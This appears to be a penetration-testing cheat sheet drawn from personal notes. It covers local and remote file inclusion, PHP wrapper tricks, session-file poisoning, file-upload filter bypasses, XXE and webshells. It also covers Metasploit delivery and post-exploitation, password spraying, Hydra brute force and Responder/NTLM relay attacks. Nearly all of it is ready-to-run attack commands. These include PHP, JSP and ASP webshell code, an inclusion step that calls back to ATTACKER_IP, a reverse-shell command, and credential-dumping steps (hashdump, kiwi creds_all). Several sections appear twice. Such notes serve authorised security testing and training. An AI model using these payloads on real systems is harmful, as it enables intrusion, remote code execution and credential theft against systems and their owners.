data# Base64'd PHP Webshell: <?php system($_GET["cmd"]); ?> curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=;<COMMAND>;'via
input# POST PHP Webshell curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/<PAGE>?<PARAMETER>=php://input&cmd=<COMMAND>'via
expectcurl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=expect://<COMMAND>'Remote File Inclusion
If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.
# URL is the remote resource http://<TARGET>/<PAGE>?<PARAMETER>=<URL> # Create remote PHP web shell # NOTE: this only works for get and execute style functions echo '<?php system($_GET["cmd"]); ?>' > shell.php sudo python3 -m http.server 8080 # Execute commands by calling back to ATTACK_IP and executing that file curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'Log Poisoning
Poisoning a file to gain execution can be done by
PHPSESSION, which is the settings a user has selected for a webpage.# Get PHPSESSION from F12 > Storage # NOTE: that file is stored on disk as: # /var/lib/php/sessions/sess_<PHPSESSION> # Read the settings for the PHPSESSION http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION> # Let's see if we control the OPTION http://<TARGET>/<PAGE>?<PARAMETER>=CONTROL # Now read the value http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION> # Set OPTION to a PHP webshell curl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E' # Now execute commands curl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'Scanning
- Top LFI Parameters: https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html#top-25-parameters
- LFI Paylods: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
- Default Web Roots:
- Server configs + more:
To find parameters that could be vulnerable to LFI, first search for the GET/POST parameter, then try out LFI payloads as a value.
NOTE: these payloads are easily defeated by file extension filtering, so that needs to be mitigated as needed. Often times:
- Check server configs
- Attempt to read and see the filtering from the pages
- Incorporate the filtering into the
ffufURL portion
# FIND: params ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE> # FIND: LFI payloads ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>LFI Filter Evasion
When the default Jhaddix wordlist fails (returns 200s but no content, or 500 errors), the application is filtering your input.
The Filter (What the dev did) The Bypass (How to break it) Example Payload Traversal Stripping (Removes ../)Nested or overlapping traversals. ....//....//etc/passwd..././..././etc/passwdURL Decoding Filters (WAF) URL encode, or double-URL encode. %2e%2e%2fetc%2fpasswd%252e%252e%252fetc%252fpasswdHardcoded Prefix ( include("dir/".$p))Add more ../to climb out of the forced directory.../../../../../../etc/passwdHardcoded Suffix ( include($p.".php"))Legacy (PHP < 5.3): null byte.
Modern: PHP filter (Base64).../../../etc/passwd%00php://filter/read=convert.base64-encode/resource=configKeyword Blocking (Blocks passwd)Wildcards (Linux) or redundant slashes. /etc//passwd/etc/security/../passwdMechanics & Logic
1. The “Forced Extension” Problem (
.php)If the code is
include($_GET['page'] . ".php");, requesting/etc/passwdmakes the server look for/etc/passwd.php, which doesn’t exist.Solution: Pivot to reading the application’s source code using PHP wrappers. If you request
php://filter/convert.base64-encode/resource=config, the server appends.phpmaking itconfig.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.2. The
str_replaceTrapMany developers try to fix LFI with
str_replace("../", "", $input).The bypass: If you send
....//, the filter finds the../in the middle and deletes it. What remains is the outer../, which pieces itself back together after the filter runs.Advanced Scanning
The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:
# FIND: Advanced bypasses (nested, encoded, null bytes) ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE> # FIND: PHP wrapper source code extraction (targets common files like index, config, db) ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=php://filter/read=convert.base64-encode/resource=FUZZ' -fs <SIZE>See more about… Parameter fuzzing
Source: Docs > 9 - Notes > ffuf#parameter-fuzzing
Parameter fuzzing
GET
# NOTE: filter out by response size since an HTTP response of 200 OK will always be received ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>POST
# NOTE: filter out by response size since an HTTP response of 200 OK will always be received ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>LFImap
Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).
# Install git clone https://github.com/hansmach1ne/LFImap.git && cd LFImap python3 -m pip install -r requirements.txt # Base Scan (Use '*' to mark the injection point) python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' # Full Auto-Exploit (Tests all bypasses & attempts RCE) python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a # Pop a Reverse Shell directly (if vulnerable) python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>Nuclei
Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.
See more about… Fix Go
Source: Docs > 9 - Notes > Troubleshooting#fix-go
Fix Go
When system Go is broken or missing (HTB / online lab VMs)…
go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23…Install a local Go and wire it into
PATH:wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz mkdir -p ~/go_bin tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc go versiongo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest# Update templates first nuclei -ut # Target a specific URL for all known LFI vectors echo 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi # Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters) nuclei -u 'http://<TARGET>/' -dast -tags lfi # Blind OOB LFI (Catch callbacks with interactsh automatically) nuclei -u 'http://<TARGET>/' -tags oast,lfiFile Upload
Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.
Process
- Identify the web technologies used (e.g. PHP).
- Brute-force a command page like
index.<EXT>using/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt. - Browser addon: https://www.wappalyzer.com/
- Brute-force a command page like
- Check for client- and server-side validation and filtering.
- Intercept file submission with a web proxy and test modifications of:
- Filename extensions in the request body
Content-Typeheaders
- Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
- Bypass server-side validation:
- Fuzz file extensions (e.g.
.php7,.phtml, or mixed case.pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded. - Try double extensions such as
.jpgFUZZorFUZZ.jpg. - Use
ffuf -od reqswith a minimal “Hello World” payload for the target tech to see which extension actually executes.
- Fuzz file extensions (e.g.
# Extension fuzzing # NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP) ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txtContent-Typefor Uploads- https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types/Common_types
multipart/form-datafor filesapplication/x-www-form-urlencodedfor simple POST data
Fuzz the request bodyβs
Content-Type(not the HTTP header).NOTE: Uncheck the URL-encode option in the proxy (e.g. Intruder) so the payload is sent literally.
# Content-Type fuzzing # NOTE: use a culled list for image uploads grep 'image/' /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt > image-content-types.txt ffuf -w image-content-types.txt:FUZZ -od ffuf_type_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txtMagic Bytes
File Type Magic Bytes (Hex) ASCII Representation GIF 47 49 46 38 39 61or47 49 46 38 37 61GIF8,GIF89aorGIF87aJPG FF D8 FF E0(standard)ΓΏΓΓΏΓPNG 89 50 4E 47 0D 0A 1A 0A.PNG....Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.
GIF8 <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>Character Injection
This approach uses character workarounds that can bypass validation on some (especially older) PHP versions.
> wordlist.txt for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' 'β¦' ':'; do while IFS= read -r ext; do [[ -z "$ext" || "$ext" == \#* ]] && continue echo "shell${char}${ext}.jpg" >> wordlist.txt echo "shell${ext}${char}.jpg" >> wordlist.txt echo "shell.jpg${char}${ext}" >> wordlist.txt echo "shell.jpg${ext}${char}" >> wordlist.txt done < "/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt" doneFiles with XXE (via local file reads)
SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.
Read File
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file://<FILE>"> ]> <svg>&xxe;</svg>Read PHP
NOTE: The response may need to be base64-decoded. This assumes the PHP filter wrapper is available.
To read server configs or PHP without executing them:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<PHP_FILE>"> ]> <svg>&xxe;</svg>Simple Webshell
Append PHP code to the SVG payload so the uploaded file both triggers the XXE and contains the webshell.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg> <?php system($_REQUEST['cmd']); ?>See more about… Web
Source: Docs > 5 - Exploitation > shells#web
Web
- Shell Generator: https://www.revshells.com/
- Webshells: https://github.com/danielmiessler/SecLists/tree/master/Web-Shells
- Beachhead: https://github.com/flozz/p0wny-shell
- Post-Exploit: https://github.com/wso-shell-php/.github
- https://github.com/payloadbox/command-injection-payload-list
- https://swisskyrepo.github.io/PayloadsAllTheThings/
/usr/share/webshells- https://github.com/jbarcia/Web-Shells/tree/master/laudanum
/usr/share/laudanum
Web Server Default Webroot Apache/var/www/html/ Nginx/usr/local/nginx/html/ IISc:\inetpub\wwwroot\ XAMPPC:\xampp\htdocs\ ### ASPX (Microsoft IIS) # Command Shell # 1) Add ATTACKER_IP on line 59 # 2) Remove unnecessary comments at beginning and end /usr/share/laudanum/aspx/shell.aspx # PowerShell Command Terminal # 1) Edit creds on line 14 /usr/share/nishang/Antak-WebShell/antak.aspx # PHP WebShell wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.phpCode
NOTE: the first examples are “Hello World” but perform a match calculation that should result in
49being shown on the page in the case there’s a WAF blocking “Hello World” strings<?php echo 7*7; ?> <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?> curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND><%= 7*7 %><% Runtime.getRuntime().exec(request.getParameter("dbg")); %>
curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>
<%= 7*7 %><% eval request("dbg") %>
curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>
Metasploit
Check [[shells]] for building meterpreter payloads with
msfvenom# Install exploit manually cp -v <EXPLOIT> /usr/share/metasploit-framework/modules/exploits/ # OR from exploit-db pushd /usr/share/metasploit-framework/modules/exploits/ searchsploit -m <EDB-ID> # in MSF reload reload_all ### Search # <type>/<os>/<service>/<name> # Search for port and name, showing exploits only search type:exploit platform: port:<PORT> name:<NAME> # grep grep meterpreter grep reverse_tcp show payloads # Set all LHOST to tunnel IP setg LHOST tun0π Meterpreter via WEB_DELIVERY
sudo msfconsole -q -x "use exploit/multi/script/web_delivery; set target PSH; set payload windows/x64/meterpreter/reverse_tcp; set SRVHOST tun0; set LHOST tun0; set LPORT 50000; exploit"Use provided PowerShell command!
π¦ Meterpreter via SMB_DELIVERY
sudo msfconsole -q -x "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set SRVHOST tun0; set LHOST tun0; set LPORT 50000; exploit"Use provided
rundll32.execommand!π§ Multi/Handler (Windows reverse_tcp)
sudo msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 50000; exploit"π Meterpreter Survey
sysinfo getuid getpid ipconfig ps # Linux flag search search -d / -f flag.txt search -d / -f user.txt search -d / -f root.txt # Windows flag search search -d C:\\ -f flag.txt search -d C:\\ -f user.txt search -d C:\\ -f root.txt # REMEMBER: for Windows, quoting and double slashes cat "C:\\Programs and Files (x86)\\" # Migrate ps -s | grep svchost migrate <PID> getsystem getprivs # List security tokens of user and group list_tokens -u list_tokens -g impersonate_token <DOMAIN_NAMEUSERNAME> steal_token <PID> drop_token # Dumps creds hashdump # CrackStation lsa_dump_sam lsa_dump_secrets # Better dump creds load kiwi creds_all # === WINDOWS === run winenum run post/windows/gather/checkvm run post/windows/gather/enum_applications run post/windows/gather/enum_logged_on_users run post/windows/gather/enum_shares # --- Privilege Escalation & Credential Gathering --- run post/windows/gather/smart_hashdump run post/multi/recon/local_exploit_suggesterποΈ DB for Targets
# for db_* commands sudo service postgresql start sudo msfdb init sudo msfconsole -q# Check database status from within msfconsole db_status # Database Backend Commands db_nmap <NMAP_OPTS> <TARGET> db_connect db_disconnect db_export -f xml metasploit_backup.xml db_import <SCAN_FILE_XML> db_rebuild_cache db_remove db_save # Manage workspaces workspace workspace -a <WORKSPACE> workspace -d <WORKSPACE> workspace <WORKSPACE> hosts loot notes services vulns creds # Using database hosts for a module hosts -R # set RHOSTS from hosts services -S <SEARCH>Online Credential Attacks
Online attacks = touching the wire. You send packets to the target. Risks: account lockouts, IDS/IPS detection, VPN latency. Tools:
nxc,hydra,kerbrute,enum4linux-ng.Preparation (Wordlists & Users)
Default Creds
- Default creds: https://github.com/ihebski/DefaultCreds-cheat-sheet
- Default creds:
/usr/share/wordlists/seclists/Passwords/Default-Credentials/default-passwords.txt - Routers: https://www.softwaretestinghelp.com/default-router-username-and-password-list/
- Default creds:
- Usernames:
- Quick Usernames:
/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt - Comprehensive Usernames:
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
- Quick Usernames:
- Passwords:
- Classic (old):
/usr/share/wordlists/rockyou.txt - Updated (
<YEAR>):/usr/share/wordlists/seclists/Passwords/<YEAR>-200_most_used_passwords.txt
- Classic (old):
# Install pip install defaultcreds-cheat-sheet creds update # Creds creds search <KEYWORD>Username Generation
Generate usernames to spray (input for online attacks). Use before spraying.
# GOOGLE DORK: Find emails and user name scheme site:<DOMAIN> "@<DOMAIN>" # Generate different common permutations of usernames git clone https://github.com/urbanadventurer/username-anarchy && cd username-anarchy ./username-anarchy <USERNAME>Wordlist customization (offline)
Wordlist building and mutation (cewl, hashcat rules, CUPP): same wordlists can feed online spraying or offline cracking.
See more about… Wordlist Customization
Source: Docs > 7 - Lateral Movement > offline-hash-cracking#wordlist-customization
Wordlist Customization
Mutating Wordlists
cewl: Scrape target site to build a wordlist (e.g. company jargon, names).
# Create wordlist from website (lowercase, spider depth, min word length) cewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH> -w <WORDLIST_FILENAME>Hashcat rules: Mutate a small keyword list into a large wordlist.
# Manually generate keywords or use cewl via OSINT cat << EOF > keywords.txt <KEYWORDS> EOF # Rule examples: c (Capitalize first), C (lowercase first, rest upper), t (toggle case) # $! append ! ; $1$9$9$8 append 1998 ; sa@ replace a with @ ; so0 replace o with 0 ; ss$ replace s with $ cat << EOF > custom.rule c C t \$! \$1\$9\$9\$8 \$1\$9\$9\$8\$! sa@ so0 ss\$ EOF # Generate permutated wordlist hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt # Crack with same rules hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txtCUPP Profiling
Build a targeted wordlist from personal information (name, birthday, pet, company, etc.). Use when you have OSINT on the target and want passwords likely derived from that data.
git clone https://github.com/Mebus/cupp.git cd cupp python3 cupp.py -iInteractive prompts: name, surname, nickname, birthday, partner, pet, company, keywords, etc. Output is a wordlist tailored to the target.
Enumeration
User Enum
- No creds: Try anonymous sessions
- Later: with credentials
See more about… Protocol Poisoners
Source: Docs > 5 - Exploitation > protocol-poisoners
These are a great way to passively enumerate or sniff for creds for traffic inside of the network.
Responder
- https://github.com/lgandx/Responder
- Configuration services:
/etc/responder/Responder.conf- CHECK FOR PORT CONFLICTS!
- Logs (creds) saved to:
/usr/share/responder/logs/
- Configuration services:
- Attacks the following protocols:
- LLMNR
- DNS
- MDNS
- NBNS
- DHCP
- ICMP
- HTTP
- HTTPS
- SMB
- LDAP
- WebDAV
- Proxy Auth
- MSSQL
- DCE-RPC
- FTP, POP3, IMAP, and SMTP auth
Passive (listen only)
Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.
sudo responder -I <INTERFACE> -AActive (respond / relay)
Sends responses or relays auth: can trigger login prompts or relay hashes to a target
# Force WPAD; may cause a login prompt sudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE> # Relay NTLM to target and execute a callback (e.g. rev shell) # nc -lvnp <PORT> impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'Inveigh
Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.
# Download latest release (Windows x64, single-file trimmed build) TAG=$(curl -s https://api.github.com/repos/Kevin-Robertson/Inveigh/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/') wget "https://github.com/Kevin-Robertson/Inveigh/releases/download/$TAG/Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip" unzip "Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or: # dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true # Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit) .\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput Y# via enum4linux-ng (this uses RPC) enum4linux-ng -U -u <USER> -p <PASSWORD> <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]" # via RPC rpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt # via SMB (prefer nxc; sudo often required for SMB signing checks or specific dumps) sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> --users # Find high value users nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins" # via LDAP anon bind # https://linux.die.net/man/1/ldapsearch # Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7 ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" " # gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc. nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count # via DOS net user /domain # via PowerShell ([adsisearcher]"objectClass=user").FindAll().Properties.samaccountname # Get Domain Users (feed into Kerbrute) Import-Module .\PowerView.ps1 Get-DomainUser * | Select-Object -ExpandProperty samaccountname | Foreach {$_.TrimEnd()} |Set-Content adusers.txt Get-Content .\adusers.txt | select -First 10 # Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication # LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768 wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>Password Policy
CRITICAL: Check lockout threshold before spraying.
- LDAP anonymous bind: https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled
See more about… enum4linux-ng
Source: Docs > 4 - Vuln Analysis > smb-cifs-rpc#enum4linux-ng
enum4linux-ng
enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:
Tool Ports nmblookup 137/UDP nbtstat 137/UDP net 139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535 rpcclient 135/TCP smbclient 445/TCP # Enumeration SMB/NetBIOS enum4linux-ng -oA enum4linux-ng-log -A <TARGET># via SMB nxc smb <TARGET> --pass-pol nxc smb <TARGET> -u <USER> -p <PASS> --pass-pol # via RPC rpcclient -U "" -N <TARGET> rpcclient -U '<USER>%<PASSWORD>' <TARGET> querydominfo # get domain and password policy # via LDAP anon bind (Win Server 2003) # pwdProperties: password complexity ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength # via net net use \\<TARGET>\ipc$ "" /u:"" net use \\<TARGET>\ipc$ "<PASSWORD>" /u:<USER> # via net accounts net accountsNOTE: If asking for the policy does not fit the assessment or the client does not want to provide it, run one, max two, password spraying attempts (regardless of internal/external) and wait over an hour between attempts if you do two.
Default Domain Policy
Policy Default Value Enforce password history 24 days Maximum password age 42 days Minimum password age 1 day Minimum password length 7 Password must meet complexity requirements Enabled Store passwords using reversible encryption Disabled Account lockout duration Not set Account lockout threshold 0 Reset account lockout counter after Not set Filtering Passwords That Meet Policy
If using a pre-compiled or downloaded list, enforce the known password policy with
grep:# Ensure passwords 8+ chars grep -E '^.{8,}$' <PASSFILE> > <NEWFILE> # Must contain 1 upper case grep -E '[A-Z]' <PASSFILE> > <NEWFILE> # Must contain 1 lower case grep -E '[a-z]' <PASSFILE> > <NEWFILE> # Must contain 1 number grep -E '[0-9]' <PASSFILE> > <NEWFILE>Attack Execution
- Brute-Force: 1 user, many passwords (alternates passwords) β risk of account lockout.
- Spraying: many users, 1 password (alternates users) β no lockout risk; “hail Mary” to find any way in.
Best practice: Obtain account lockout policy beforehand (enum or customer). If unknown, wait a few hours between attempts so the lockout counter can reset.
SMB / WinRM Spraying
# SMB spraying (--continue-on-success to keep going after a hit) sudo nxc smb <TARGET> -u <USERS> -p <PASSWORD> --continue-on-success | grep '+' # Local auth (local accounts instead of domain; LAPS mitigates) sudo nxc smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+' # via RPC (manual) for u in $(cat <USERS>) ; do rpcclient -U "$u%<PASSWORD>" -c "getusername;quit" <TARGET> | grep Authority; doneKerberos Spraying
No auth logs generated (Kerberos Pre-Auth).
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERS> <PASSWORD>Windows (DomainPasswordSpray)
- https://github.com/dafthack/DomainPasswordSpray
- Event Logs: 4625, 4771
By default the script checks account logon policy and pulls users from the current domain (minus disabled). Use
-UserListand-Domainto override.wget https://github.com/dafthack/DomainPasswordSpray/raw/refs/heads/master/DomainPasswordSpray.ps1 Import-Module .\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -OutFile spray_success -ErrorAction SilentlyContinue -Password <PASSWORD>Brute Force (Hydra)
Last resort for web forms, SSH, etc. (higher lockout risk than spraying.)
See more about… Hydra
Source: Docs > 9 - Notes > hydra
Hydra is a parallelized login cracker that supports numerous protocols to attack quickly and flexibly, and new modules are easy to add.
NOTE: use
netexecfor Windows AD environments insteadCore Flags
-f : Stop immediately when a credential is found -V : Verbose (Check if service is responding) -t <N> : Number of parallel tasks (threads) -l <USER> : Single username -L <USER_LIST> : Username list file -p <PASSWORD> : Single password -P <WORDLIST> : Password wordlist file -o <OUTPUT> : Output file -s <PORT> : Port if nonstandard -M <TARGET_FILE> : Targets list filehydra -x -h # Generate and test passwords ranging from 6 to 8 characters of an alphanumeric set -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789Protocol-Specific Examples
SSH / FTP / RDP / SMB
# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist) hydra -t 4 -l <USER> -P <WORDLIST> -f -V ssh://<TARGET> # FTP brute-force hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET> # RDP brute-force hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET> # SMB brute-force hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>Web Forms
HTTP-POST
Syntax:
"/PATH:BODY:CONDITION=STRING"- Use browser F12 > Network > DevTools, web proxy, or
-dto capture the actual POST request. Look for the form action URL and input field names. - Use
^USER^and^PASS^as placeholders inBODY - Condition String:
hydra -U http-post-form- Important: you can only define S= OR F= - not both
F=<FAILURE_STRING>(default) specifies the failure response text to detect failed logins- too many false positives means bad failure string
- `S=<SUCCESS_STRING>
S=302means a successful login due to an HTTP 302 page forward redirect
Check with
-dt1for condition strings# S=302 for login redirects (and no login error) hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:S=302" -V # F=X for bad logins give an error hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:F=invalid" -VHTTP Basic Auth
A basic form of authentication, usually when a web resource is restricted, a pop-up window will appear asking for username and password. From a HTTP header perspective it is the base64 version of
<USERNAME>:<PASSWORD>like:Authorization: Basic YWxpY2U6c2VjcmV0MTIzhydra -l <USER> -P <WORDLIST> -f <TARGET> http-get -VWordPress Specific
# WordPress brute-force login form with a complex request string (ONLINE - use small wordlist) hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt # Alternative WordPress syntax hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -fPassword Spraying
Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!
Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.
# SSH password spraying (1 password vs many users) hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET> # Web form password spraying hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"Important Notes
- Account Lockout Risk: Brute-forcing (many passwords vs 1 user) has a RISK of account lockout due to account lockout policy. Use small wordlists and be cautious.
- Thread Count: Use
-t 4for SSH to avoid overwhelming the service. Web forms can handle higher thread counts like-t 16. - Wordlist Selection: For online attacks, use small wordlists (e.g., top 1000 passwords) to minimize lockout risk and reduce time.
- Output: Always use
-o <OUTPUT_FILE>to save results for later analysis.
Protocol Poisoners
These are a great way to passively enumerate or sniff for creds for traffic inside of the network.
Responder
- https://github.com/lgandx/Responder
- Configuration services:
/etc/responder/Responder.conf- CHECK FOR PORT CONFLICTS!
- Logs (creds) saved to:
/usr/share/responder/logs/
- Configuration services:
- Attacks the following protocols:
- LLMNR
- DNS
- MDNS
- NBNS
- DHCP
- ICMP
- HTTP
- HTTPS
- SMB
- LDAP
- WebDAV
- Proxy Auth
- MSSQL
- DCE-RPC
- FTP, POP3, IMAP, and SMTP auth
Passive (listen only)
Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.
sudo responder -I <INTERFACE> -AActive (respond / relay)
Sends responses or relays auth: can trigger login prompts or relay hashes to a target
# Force WPAD; may cause a login prompt sudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE> # Relay NTLM to target and execute a callback (e.g. rev shell) # nc -lvnp <PORT> impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'Inveigh
Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.
